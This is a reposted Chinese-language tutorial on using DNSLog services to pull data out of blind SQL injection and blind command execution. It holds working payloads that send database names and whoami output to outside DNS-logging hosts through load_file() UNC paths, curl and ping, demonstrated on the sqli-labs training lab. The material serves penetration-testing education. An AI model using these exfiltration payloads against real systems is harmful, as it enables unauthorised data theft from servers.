利用DNSLog實現無回顯注入


測試一些網站的時候,一些注入都是無回顯的,我們可以寫腳本來進行盲注,但有些網站會ban掉我們的ip,這樣我們可以通過設置ip代理池解決,

但是盲注往往效率很低,所以產生了DNSlog注入

DNSLOG的原理

DNS的解析是遞歸與迭代相結合的,下面給出了當我們訪問www.cloudcrowd.com.cn時,DNS的解析過程示意圖。

其中,紅色部分是可控的。我們只需要搭建一個紅色部分的DNS服務器,並將要盲打或盲注的回顯,放到自己域名的二級甚至三級域名上去請求,就可以通過DNS解析日志來獲取到它們。

DNSLOG工具

如果有自己的服務器和域名,可以自建一個這樣的平台,直接使用BugScan團隊開源的工具搭建即可:

https://github.com/BugScanTeam/DNSLog。

另外我們也可以使用在線平台:

http://admin.dnslog.link。

http://ceye.io。

https://dnslog.io/       

 

場景一:SQL盲注回顯

原理:

不論是bool型盲注還是時間型盲注,都需要頻繁的跑請求才能夠獲取數據庫中的值,在現代WAF的防護下,很可能導致IP被ban。我們可以結合DNSLOG完美快速的將數據取出。如遇到MySql的盲注時,可以利用內置函數load_file()來完成DNSLOG。load_file()不僅能夠加載本地文件,同時也能對諸如\\www.test.com這樣的URL發起請求。dnslog回顯只能用於windows系統,原理就是'\\\\'代表Microsoft Windows通用命名規則(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。雙斜杠表示網絡資源路徑多加兩個\就是轉義了反斜杠。(UNC格式 \\servername\sharename ,其中 servername 是服務器名,sharename 是共享資源名)

用法:

在mysql命令行執行:select load_file('\\\\afanti.xxxx.ceye.io\\aaa');其中afanti就是要注入的查詢語句

查看平台,dnsLog被記錄下來。

 

舉例:

以sql-labs第五關為例

payload:

' and if((select load_file(concat('\\\\',(select database()),'.xxxx.dnslog.io\\xxx'))),1,0) --+

http://192.168.43.128/sqli-labs-master/Less-5/?id=1%27%20and%20if((select%20load_file(concat(%27\\\\%27,(select%20database()),%27.g8r7q.l.dnslog.io\\abc%27))),1,0)%20--+

 

查看dnslog日志,發現security數據庫被查詢出來:

 

場景二:命令執行盲注回顯

當 ping 一個域名時會對其進行一個遞歸 DNS 查詢的過程,這個時候就能在后端獲取到 DNS 的查詢請求

curl http://haha.xxx.ceye.io/`whoami`

ping `whoami`.xxxx.ceye.io

Windows

ping %USERNAME%.xxx.ceye.io

 

 

 

除了上面詳細列出的例子之外,DNSLOG還可以利用在諸如Blind XSS、Blind XXE和Blind SSRF之類的漏洞上,原理是一樣的,這樣就不演示了。

 

參考:

https://www.freebuf.com/column/184587.html

https://www.cnblogs.com/afanti/p/8047530.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM